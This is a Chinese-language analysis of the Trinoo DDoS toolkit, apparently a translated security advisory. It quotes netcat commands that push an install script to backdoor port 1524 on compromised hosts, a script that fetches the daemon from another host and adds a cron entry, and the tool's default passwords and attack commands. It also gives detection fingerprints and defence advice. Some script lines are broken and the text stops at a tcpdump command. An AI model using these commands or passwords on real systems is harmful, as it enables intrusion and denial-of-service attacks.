新物网

当前位置:首页 > 百科

百科

DDoS攻击工具Trinoo分析及实战演练

时间:2023-11-04 15:08:11 雅雅
本文是对拒绝服务攻击工具包trinoo中主/从程序服务器的一些分析。  Trinoo守护程序的二进制代码包最初是在一些Solaris 2.x主机中发现的,这些主机是被攻击者利用RPC服务安全漏洞"statd"、"cmsd"和

本文是对拒绝服务攻击工具包trinoo中主/从程序服务器的一些分析。
  Trinoo守护程序的二进制代码包最初是在一些Solaris 2.x主机中发现的,这些主机是被攻击者利用RPC服务安全漏洞"statd"、"cmsd"和"ttdbserverd"入侵的。
  最初的trinoo守护程序来源于某些基于UDP协议和有访问控制的远程命令shell,并很有可能附带有能自动记录的嗅探器(sniffer)。
  在研究这个工具包的过程中,捕获到了Trinoo攻击网络的安装过程及一些源代码。我们就是利用这些捕获到的源代码进入了深入的分析。
  对这些源代码的任何修改,如提示、口令、命令、TCP/UDP端口号或所支持的攻击方法、签名和具体功能,都可能使分析的结果与本文不同。
  该守护程序是在Solaris 2.5.1和Red Hat Linux 6.0上编译并运行。主服务器 (master) 在Red Hat Linux 6.0上编译和运行。但也许守护程序和主服务器都可在其它同类平台中使用。
  Trinoo网络可能包含几百、甚至几千台已被入侵的互联网主机组成。这些主机很可能都被装上了各种"后门"以方便再次进入系统。
  在1999年8月17日,一个由至少227台主机(其中114台属于Internet2主机)组成的trinoo网络攻击了位于明尼苏达(Minnessota)大学的一台主机,其结果是该主机网络崩溃超过两天。而在调查这次攻击期间,又有至少16台其它主机被攻击,其中包括了一些美国以外的主机。(请参阅附录D以了解此次trinoo攻击的报告。
  攻击过程
  一次典型的攻击过程很可能是这样的:
  1)一个盗取来的帐号被用于编译各种扫描工具、攻击工具(如缓冲区溢出程序)、rootkit和sniffer、trinoo守护程序、主服务器、入侵主机、目标主机清单等等。这个系统往往是一些拥有很多用户、存在管理漏洞和具有高速连接速率(以进行文件传输)的大型主机系统。
  2)然后对一个大范围的网络进行扫描以确定潜在的入侵目标。最有可能的是那些可能存在各种远程缓冲区溢出漏洞的主机,如wu-ftpd、RPC服务(cmsd, statd,ttdbserverd,AMD)等。这些主机的操作系统最好是Sun Solaris 2.x和Linux,以便充分利用各种现成的rootkits和后门程序等。如果是其它系统则可用来保存工具和记录。
  3)在得到入侵主机清单后,编写实现入侵攻击、监听TCP端口(通常为1524"ingreslock")和连接到该端口以确定入侵成功的脚本程序。或者通过发送电子邮件到一个免费WEB邮箱以确认已入侵该主机。
  入侵完成后将产生一个"被控制"主机清单,这些主机将被用于放置后门、sniffer或trinoo守护程序或trinoo主服务器。
  4)从已入侵系统清单中选出满足建立trinoo网络需要的主机,放置已编译好的trinoo守护程序。
  5)最后,运行DoS攻击脚本,该脚本根据上面建立的被入侵主机清单,生成另外的脚本程序,在后台以最快的速度自动安装。脚本使用"netcat"将shell脚本发送到被入侵主机的1524/tcp端口。
  ./trin.sh | nc 128.aaa.167.217 1524 &
  ./trin.sh | nc 128.aaa.167.218 1524 &
  ./trin.sh | nc 128.aaa.167.219 1524 &
  ./trin.sh | nc 128.aaa.187.38 1524 &
  ./trin.sh | nc 128.bbb.2.80 1524 &
  ./trin.sh | nc 128.bbb.2.81 1524 &
  ./trin.sh | nc 128.bbb.2.238 1524 &
  ./trin.sh | nc 128.ccc.12.22 1524 &
  ./trin.sh | nc 128.ccc.12.50 1524 &
  . . .
  其中的"trin.sh"脚本产生如下输出:
  echo "rcp 192.168.0.1:leaf /usr/sbin/rpc.listen"
  echo "echo rcp is done moving binary"
  echo "chmod +x /usr/sbin/rpc.listen"
  echo "echo launching trinoo"
  echo "/usr/sbin/rpc.listen"
  cron"
  echo "crontab cron"
  echo "echo launched"
  echo "exit"
  只要时常检查crontab文件,可以轻易监测到该主机是否已被trinoo侵入。
  在其它系统还发现了另一种方法:守护程序的名字被改为"xterm",然后通过脚本执行它。
  cd /var/adm/.1
  PATH=.:$PATH
  export PATH&1
  在这个守护程序中通过运行脚本来完成trinoo网络的建立是完全有可能的。
  更隐蔽的方法是让trinoo守护程序/主服务器只在某个给定时间才被唤醒运行,并打开监听的TCP或UDP端口。
  整个自动安装过程使攻击者在极短的时间内,利用大量的被入侵主机建立了拒绝服务攻击网络。
  6)作为一种选择,rootkit常常被安装到系统中以隐藏攻击程序、文件和网络连接。这对运行主服务器的系统更为重要,因为它是trinoo网络的核心部份。(注:在许多情况下,主服务器往往被安装在互联网服务供应商(ISP)的域名服务器上,DNS服务器大量的通讯流量、大量的TCP/UDP连接,将为隐蔽trinoo的网络连接、攻击过程和文件存放提供非常有利的帮助。(此外,除非能确定在域名服务器中存在拒绝服务工具的行为,否则系统管理员一般不会轻易中断系统服务进行安全检查。)
  Rootkits也可能在安装了sniffer的系统中使用,例如"hunt"(TCP/IP会话监视器)等可直接窃听网络通讯细节的程序。这样就不用通过远程缓冲区溢出程序进入系统了。:)
  目标主机
  Trinoo网络由主服务器(master.c)和trinoo守护程序(ns.c)组成。一个典型的trinoo网络结构如下:
  攻击者常常控制一个或多个"主服务器"服务器,而每一个"主服务器"服务器控制多个"守护程序"(我们可以称之为广播主机"Bcast/broadcast")。所有接收到指令的守护程序都使用攻击数据包同时攻击一个或多个目标主机系统。
  Trinoo如何实现这个功能呢?是攻击者与主服务器通过"telnet"协议建立TCP连接,并通过发送带有口令的攻击指令,实现大范围、大流量、并发性的拒绝服务攻击。
通讯端口
  攻击者到主服务器: 27665/TCP
  主服务器到守护程序:27444/UDP
  守护程序到主服务器:31335/UDP
  Trinoo主服务器的远程控制是通过在27665/TCP端口建立TCP连接实现的。在连接建立后时,用户必须提供正确的口令("betaalmostdone")。如果在已有人通过验证时又有另外的连接建立,则一个包含正在连接IP地址的警告信息会发送到已连接主机(程序提供的IP地址似乎有错,但警告信息仍被发送)。毫无疑问地,这个功能最终的完整实现将能给予攻击者足够的时间在离开之前清除痕迹。
  从trinoo主服务器到守护程序的连接是在27444/UDP端口上实现。命令行格式如下:
  arg1 password arg2
  其中缺省的口令是"l44adsl",只有包含此口令子串"l44"的命令行会被执行。
  从trinoo守护程序到主服务器的连接是在31335/UDP端口上实现。
  当守护程序启动时,它将发送初始化字符串"*HELLO*"到主服务器。主服务器会(通过"sniffit"程序捕获)记录并维护已激活的守护程序清单:
  UDP Packet ID (from_IP.port-to_IP.port): 192.168.0.1.32876-10.0.0.1.31335
  45 E 00 . 00 . 23 # B1 . 5D ] 40 @ 00 . F8 . 11 . B9 . 27 . C0 . A8 . 00 . 01 .
  0A . 00 . 00 . 01 . 80 . 6C l 7A z 67 g 00 . 0F . 06 . D4 . 2A * 48 H 45 E 4C L
  4C L 4F O 2A *
  如果trinoo主服务器通过27444/UDP端口向一个守护程序发送"png"命令,该守护程序将通过31335/UDP端口向发送"png"命令的主机返回字符串"PONG":
  UDP Packet ID (from_IP.port-to_IP.port): 10.0.0.1.1024-192.168.0.1.27444
  45 E 00 . 00 . 27 ' 1A . AE . 00 . 00 . 40 @ 11 . 47 G D4 . 0A . 00 . 00 . 01 .
  C0 . A8 . 00 . 01 . 04 . 00 . 6B k 34 4 00 . 13 . 2F / B7 . 70 p 6E n 67 g 20
  6C l 34 4 34 4 61 a 64 d 73 s 6C l
  UDP Packet ID (from_IP.port-to_IP.port): 192.168.0.1.32879-10.0.0.1.31335
  45 E 00 . 00 . 20  13 . 81 . 40 @ 00 . F8 . 11 . 57 W 07 . C0 . A8 . 00 . 01 .
  0A . 00 . 00 . 01 . 80 . 6F o 7A z 67 g 00 . 0C . 4E N 24 $ 50 P 4F O 4E N 47 G
  口令保护
  主服务器和守护程序都有口令保护,以阻止系统管理员(或其他黑客组织)得到该trinoo网络的控制权。口令使用crypt()函数加密。这是一种对称式加密方式。经过加密的口令保存在已编译的主服务器和守护程序中,并与以明文方式在网络中传输的口令比较(目前的版本并没有加密通讯会话,因此不难截获在主服务器TCP控制会话中传送的明文口令。
  初始化运行时,出现主守护进程提示符,将等待输入口令。如果口令不正确,程序退出;如果口令正确,提示进程正在运行,然后产生子进程在后台运行,最后退出:
  # ./master
  ?? wrongpassword
  #
   . . .
  # ./master
  ?? gOravev1.07d2+f3+c [Sep 26 1999:10:09:24]
  #
  与此类似地,当连接到远程命令端口(27665/TCP)时,你也必须输入口令:
  attacker$ telnet 10.0.0.1 27665
  Trying 10.0.0.1
  Connected to 10.0.0.1
  Escape character is '^]'.
  kwijibo
  Connection closed by foreign host.
  . . .
  attacker$ telnet 10.0.0.1 27665
  Trying 10.0.0.1
  Connected to 10.0.0.1
  Escape character is '^]'.
  betaalmostdone
  trinoo v1.07d2+f3+c..[rpm8d/cb4Sx/]
  从主服务器发送到trinoo守护程序的某些命令也会有口令保护。这些口令在主服务器与守护程序间又明文形式传送。
  缺省的口令如下:
  "l44adsl"  trino守护程序口令
  "gOrave"trinoo主服务器启动(提示"?? ")
  "betaalmostdone"trinoo主服务器远程接口口令
  "killme"trinoo主服务器控制指令"mdie"验证口令
  主服务器命令
  rinoo主服务器支持以下命令:
   die 关闭主服务器
   quit退出主服务器登录
   mtimer N设置DoS定时器为N秒。N的取值范围从1到1999秒。如果N<1,2000,则使用缺省值500。
   mdie pass  如果口令验证通过,则停止所有广播(Bcast)主机。命令
   "d1e 144adsl"被发送到每一个广播主机,使它们停止。此命
   令需要一个单独的口令。
   mping  发送PING命令"png 144adsl"到每一台已激活的广播主机。
   mdos
   向每一个广播主机发送多DoS攻击命令
   ("xyz 144adsl 123:ip1:ip2:ip3")。
   info打印版本和编译信息。如:
  This is the "trinoo" AKA DoS Project master server version v1.07d2+f3+c
  Compiled 15:08:41 Aug 16 1999
   msize  设置DoS攻击时使用的数据包缓冲区大小。
   nslookup host对指定的主机进行域名查询。
   killdead尝试清除死锁的广播主机。首先向所有已知的广播主机发送
   "shi l44adsl"命令。(任何处于激活状态的守护程序会回
   送初始化字符串"*HELLO*"。)然后(通过-b参数)修改广
   播主机清单文件名字。这样当"*HELLO*"包被接收后能够重
   新初始化。
   usebackup  切换到由"killdead"命令建立的广播主机备份文件。
   bcast  列出所有激活的广播主机。
   help [cmd] 服务器或命令的帮助信息,
   mstop  试图停止一个DoS攻击(此现在尚未实现,但在help命令中列出。)
守护程序命令
  Trinoo守护程序支持以下命令:
   aaa pass IP  攻击指定的IP地址。按固定的时间间隔(缺省为120秒,或
  "bbb"命令设定的1-1999值)向指定IP地址的随机UDP端口
  (0-65534)发送UDP数据包。数据包大小由"rsz"命令指定,
  缺省为1000字节。noo守护程序
   rsz N 设置DoS攻击的缓冲区大小为N字节。(Trinoo守护程序调
  用malloc()分配该大小的缓冲区,然后发送随机的数据包
  内容进行攻击。)
   xyz pass 123:ip1:ip2:ip3
  多个DoS攻击。类似"aaa"命令,但可以同时攻击多个IP地址。
  工 具 特 征
  -----------
  最常使用的安装trinoo守护程序的方法是在系统中添加crontab项,以使守护程序能在每分钟均在运行。检查crontab文件会发现如下内容:
  * * * * * /usr/sbin/rpc.listen
  主服务器程序会建立一个包含广播主机清单的文件(缺省文件名为"...")。如果使用了"killdead",向"..."文件中的所有守护程序发送"shi"命令会使这些守护程序向所有的主服务器发送初始化字符串"*HELLO*"。然后这个清单文件被改名(缺省为"...-b"),而根据每一个发送了"*HELLO*"字符串(激活状态)的守护程序生成新的清单文件。
  源代码("master.c")包含以下程序行:
  . . .
  /* crypt key encrypted with the key 'bored'(so hex edit cannot get key easily?)
    comment out for no encryption... */

  #define CRYPTKEY "ZsoTN.cq4X31"
  . . .
  如果程序编译时指定了解CRYPTKEY变量,则广播主机的IP地址将使用Blowfish算法加密:
  # ls -l ... ...-b
  -rw-------  1 root root  25 Sep 26 14:46 ...
  -rw-------  1 root root  50 Sep 26 14:30 ...-b
  # cat ...
  JPbUc05Swk/0gMvui18BrFH/
  # cat ...-b  aE5sK0PIFws0Y0EhH02fLVK.
  JPbUc05Swk/0gMvui18BrFH/
  假设没有使用rootkit隐藏进程,主服务器可以显示出以下网络套接字特征指纹(当然,程序的名称和路径名会有所不同。):
  # netstat -a --inet
  Active Internet connections (servers and established)
  Proto Recv-Q Send-Q Local Address  Foreign Address State
  tcp0 0 *:27665 *:* LISTEN
  . . .
  udp0 0 *:31335 *:*
  . . .
  # lsof | egrep ":31335|:27665"
  master  1292 root3u inet  2460 UDP *:31335
  master  1292 root4u inet  2461 TCP *:27665 (LISTEN)
  # lsof -p 1292
  COMMAND PID USER  FD  TYPE DEVICESIZE NODE NAME
  master 1292 root cwdDIR3,11024 14356 /tmp/...
  master 1292 root rtdDIR3,11024 2 /
  master 1292 root txtREG3,1  30492 14357 /tmp/.../master
  master 1292 root memREG3,1 342206 28976 /lib/ld-2.1.1.so
  master 1292 root memREG3,1  63878 29116 /lib/libcrypt-2.1.1.so
  master 1292 root memREG3,1 4016683 29115 /lib/libc-2.1.1.so
  master 1292 root0u  CHR4,1 2967 /dev/tty1
  master 1292 root1u  CHR4,1 2967 /dev/tty1
  master 1292 root2u  CHR4,1 2967 /dev/tty1
  master 1292 root3u inet  2534  UDP *:31335
  master 1292 root4u inet  2535  TCP *:27665 (LISTEN)
  而运行了守护程序的系统会显示以下特征指纹:
  # netstat -a --inet
  Active Internet connections (servers and established)
  Proto Recv-Q Send-Q Local Address  Foreign Address State
  . . .
  udp0 0 *:1024 *:*
  udp0 0 *:27444 *:*
  . . .
  # lsof | egrep ":27444"
  ns  1316 root3u inet  2502 UDP *:27444
  # lsof -p 1316
  COMMAND PID USER  FD  TYPE DEVICESIZE  NODE NAME
  ns 1316 root cwdDIR3,11024 153694 /tmp/...
  ns 1316 root rtdDIR3,11024 2 /
  ns 1316 root txtREG3,16156 153711 /tmp/.../ns
  ns 1316 root memREG3,1 342206 28976 /lib/ld-2.1.1.so
  ns 1316 root memREG3,1  63878 29116 /lib/libcrypt-2.1.1.so
  ns 1316 root memREG3,1 4016683 29115 /lib/libc-2.1.1.so
  ns 1316 root0u  CHR4,1  2967 /dev/tty1
  ns 1316 root1u  CHR4,1  2967 /dev/tty1
  ns 1316 root2u  CHR4,1  2967 /dev/tty1
  ns 1316 root3u inet  2502UDP *:27444
  ns 1316 root4u inet  2503UDP *:1024
 防御
  当然,最好的防御是首先防止出现入侵和root级别的安全威胁,这样你的系统就不会被安装了trinoo主服务器/守护服务器。在理想的世界中,所有系统都打了所有的补丁,是安全的,是被监控的,入侵监测系统和防火墙都能成功监测和拒绝攻击数据包,而我则是一个六个月生活在巴里岛、六个月生活在法国阿尔卑斯山的百万富翁。:) 但在现实世界中,这是无法实现的(至少在可预见的将来)。
  如果现在你的网络可能已安装了数个运行中的trinoo守护程序,并随时准备对其它系统进行DoS攻击,如何才能发现并阻止它们呢?
  因为这些程序在通讯和攻击中都使用了高级UDP端口,要想直接阻塞这些通讯是非常困难的(但不是不可能),除非你修改那些使用高级UDP端口的程序。
  最简单的检查是否存在trinoo主服务器和守护程序的方法也许是在共享的以太网数据段中监视所有的UDP数据包,寻找在本文中提到的关于主服务器与守护程序通讯标记。然而不幸的是,这些活动只能在目标主机受到DoS攻击时/后才有可能被发现和检测到。
  如果怀疑系统存在正在进行攻击的trinoo守护程序,对运行了守护程序的系统中运行Solaris的"truss"程序将会得到如下输出:
  . . .
  getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C)= 0
  getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C) (sleeping...)
  getmsg(3, 0xEFFFF830, 0xEFFFF83C, 0xEFFFF81C)= 0
  time()= 938385467
  open("/dev/udp", O_RDWR)= 5
  ioctl(5, I_PUSH, "sockmod")= 0
  ioctl(5, I_STR, 0xEFFFF748)= 0
  ioctl(5, I_SETCLTIME, 0xEFFFF7FC)= 0
  ioctl(5, I_SWROPT, 0x00000002)= 0
  sigprocmask(SIG_SETMASK, 0xEFFFF7EC, 0xEFFFF7DC) = 0
  ioctl(5, I_STR, 0xEFFFF660)= 0
  sigprocmask(SIG_SETMASK, 0xEFFFF7DC, 0xEFFFF7B8) = 0
  sigprocmask(SIG_BLOCK, 0xEFFFF548, 0xEFFFF5C0)= 0
  ioctl(5, I_STR, 0xEFFFF548)= 0
  sigprocmask(SIG_SETMASK, 0xEFFFF5C0, 0x00000000) = 0
  putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)= 0
  time()= 938385467
  putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)= 0
  time()= 938385467
  putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)= 0
  time()= 938385467
  putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)= 0
  time()= 938385467
  putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)= 0
  time()= 938385467
  putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)= 0
  time()= 938385467
  putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)= 0
  time()= 938385467
  putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)= 0
  time()= 938385467
  putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)= 0
  time()= 938385467
  putmsg(5, 0xEFFFF83C, 0xEFFFF7A0, 0)= 0
  time()= 938385467
  . . .
  当出现攻击单个目标时,使用"tcpdump"监听网络通讯有如下输出:
  # tcpdump ip host 192.168.0.1